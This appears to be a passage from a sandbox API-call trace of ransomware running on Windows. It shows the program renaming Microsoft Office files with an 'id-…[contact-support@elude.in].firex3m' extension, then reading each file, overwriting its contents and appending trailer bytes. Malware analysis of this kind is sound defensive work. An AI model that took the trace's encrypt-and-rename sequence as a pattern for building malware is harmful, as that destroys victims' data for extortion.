[0153.351] GetProcessHeap () returned 0x630000 [0153.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0153.351] GetProcessHeap () returned 0x630000 [0153.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0155.289] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1e03f98, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1e03f98, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x215af2b4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x39e84, dwReserved0=0xc0c7496, dwReserved1=0x6ee3cd8, cFileName="PE.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PEVSLI~1.FIR")) returned 0x6d5340 [0155.289] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0155.289] Sleep (dwMilliseconds=0x1) [0155.297] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF", len=0x40 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF") returned 1 [0155.297] GetProcessHeap () returned 0x630000 [0155.297] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b64) returned 0x707d3d0 [0155.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msspc.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0155.298] CloseHandle (hObject=0x640) returned 1 [0155.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msspc.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msspc.ecf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.299] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSSPCE~1.FIR")) returned 0x6d4f80 [0155.299] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0155.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msspc.ecf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0155.299] GetProcessHeap () returned 0x630000 [0155.299] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x321) returned 0x69ec20 [0155.299] GetProcessHeap () returned 0x630000 [0155.299] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x321) returned 0x706c348 [0155.299] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.299] ReadFile (in: hFile=0x640, lpBuffer=0x69ec20, nNumberOfBytesToRead=0x300, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x69ec20*, lpNumberOfBytesRead=0x323ff0c*=0x300, lpOverlapped=0x0) returned 1 [0155.421] GetProcessHeap () returned 0x630000 [0155.421] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0155.421] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.421] WriteFile (in: hFile=0x640, lpBuffer=0x706c348*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c348*, lpNumberOfBytesWritten=0x323ff0c*=0x300, lpOverlapped=0x0) returned 1 [0155.422] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.422] WriteFile (in: hFile=0x640, lpBuffer=0x706c647*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c647*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.422] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.422] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.422] CloseHandle (hObject=0x640) returned 1 [0155.422] GetProcessHeap () returned 0x630000 [0155.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706c348 | out: hHeap=0x630000) returned 1 [0155.422] GetProcessHeap () returned 0x630000 [0155.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69ec20 | out: hHeap=0x630000) returned 1 [0155.422] GetProcessHeap () returned 0x630000 [0155.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0155.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2296d809, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0xc0c7496, dwReserved1=0x69ec18, cFileName="MSSPC.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSSPCE~1.FIR")) returned 0x6d5340 [0155.423] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0155.423] Sleep (dwMilliseconds=0x1) [0155.468] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK", len=0x46 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK") returned 1 [0155.469] GetProcessHeap () returned 0x630000 [0155.469] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b54) returned 0x707d3d0 [0155.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0155.469] CloseHandle (hObject=0x688) returned 1 [0155.469] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~1.FIR")) returned 0x6d4f00 [0155.470] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0155.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0155.470] GetProcessHeap () returned 0x630000 [0155.470] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4f28 [0155.470] GetProcessHeap () returned 0x630000 [0155.470] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a47d8 [0155.471] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.471] ReadFile (in: hFile=0x688, lpBuffer=0x6a4f28, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4f28*, lpNumberOfBytesRead=0x323ff0c*=0x60, lpOverlapped=0x0) returned 1 [0155.472] GetProcessHeap () returned 0x630000 [0155.472] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0155.472] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.472] WriteFile (in: hFile=0x688, lpBuffer=0x6a47d8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a47d8*, lpNumberOfBytesWritten=0x323ff0c*=0x60, lpOverlapped=0x0) returned 1 [0155.472] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.472] WriteFile (in: hFile=0x688, lpBuffer=0x6a4837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4837*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.472] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.473] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.473] CloseHandle (hObject=0x688) returned 1 [0155.473] GetProcessHeap () returned 0x630000 [0155.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a47d8 | out: hHeap=0x630000) returned 1 [0155.473] GetProcessHeap () returned 0x630000 [0155.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4f28 | out: hHeap=0x630000) returned 1 [0155.473] GetProcessHeap () returned 0x630000 [0155.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0155.473] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x229e014d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x323fd20, dwReserved1=0x6a4f28, cFileName="WINWORD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~1.FIR")) returned 0x6d4e40 [0155.473] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0155.473] Sleep (dwMilliseconds=0x1) [0155.497] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK", len=0x46 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK") returned 1 [0155.497] GetProcessHeap () returned 0x630000 [0155.497] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b50) returned 0x707d3d0 [0155.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0155.498] CloseHandle (hObject=0x688) returned 1 [0155.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~2.FIR")) returned 0x6d5000 [0155.499] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0155.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0155.500] GetProcessHeap () returned 0x630000 [0155.500] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4fb8 [0155.500] GetProcessHeap () returned 0x630000 [0155.500] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5318 [0155.500] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.500] ReadFile (in: hFile=0x688, lpBuffer=0x6a4fb8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4fb8*, lpNumberOfBytesRead=0x323ff0c*=0x60, lpOverlapped=0x0) returned 1 [0155.501] GetProcessHeap () returned 0x630000 [0155.501] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176c28 [0155.501] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.501] WriteFile (in: hFile=0x688, lpBuffer=0x6a5318*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5318*, lpNumberOfBytesWritten=0x323ff0c*=0x60, lpOverlapped=0x0) returned 1 [0155.501] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.501] WriteFile (in: hFile=0x688, lpBuffer=0x6a5377*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5377*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.501] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.502] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.502] CloseHandle (hObject=0x688) returned 1 [0155.502] GetProcessHeap () returned 0x630000 [0155.502] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5318 | out: hHeap=0x630000) returned 1 [0155.502] GetProcessHeap () returned 0x630000 [0155.502] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4fb8 | out: hHeap=0x630000) returned 1 [0155.502] GetProcessHeap () returned 0x630000 [0155.502] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176c28 | out: hHeap=0x630000) returned 1 [0155.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22a2c3a6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x323fd20, dwReserved1=0x6a4fb8, cFileName="WINWORD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~2.FIR")) returned 0x6d4ec0 [0155.502] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0155.502] Sleep (dwMilliseconds=0x1) [0155.529] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT", len=0x44 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT") returned 1 [0155.529] GetProcessHeap () returned 0x630000 [0155.529] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b4c) returned 0x707d3d0 [0155.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0155.530] CloseHandle (hObject=0x688) returned 1 [0155.530] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.530] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~3.FIR")) returned 0x6d5280 [0155.531] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0155.531] GetProcessHeap () returned 0x630000 [0155.531] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6dc688 [0155.531] GetProcessHeap () returned 0x630000 [0155.531] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6dc3b8 [0155.532] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.532] ReadFile (in: hFile=0x688, lpBuffer=0x6dc688, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc688*, lpNumberOfBytesRead=0x323ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0155.533] GetProcessHeap () returned 0x630000 [0155.533] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0155.533] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.533] WriteFile (in: hFile=0x688, lpBuffer=0x6dc3b8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc3b8*, lpNumberOfBytesWritten=0x323ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0155.533] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.534] WriteFile (in: hFile=0x688, lpBuffer=0x6dc477*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc477*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.534] SetFilePointerEx (in: hFile=0x688, 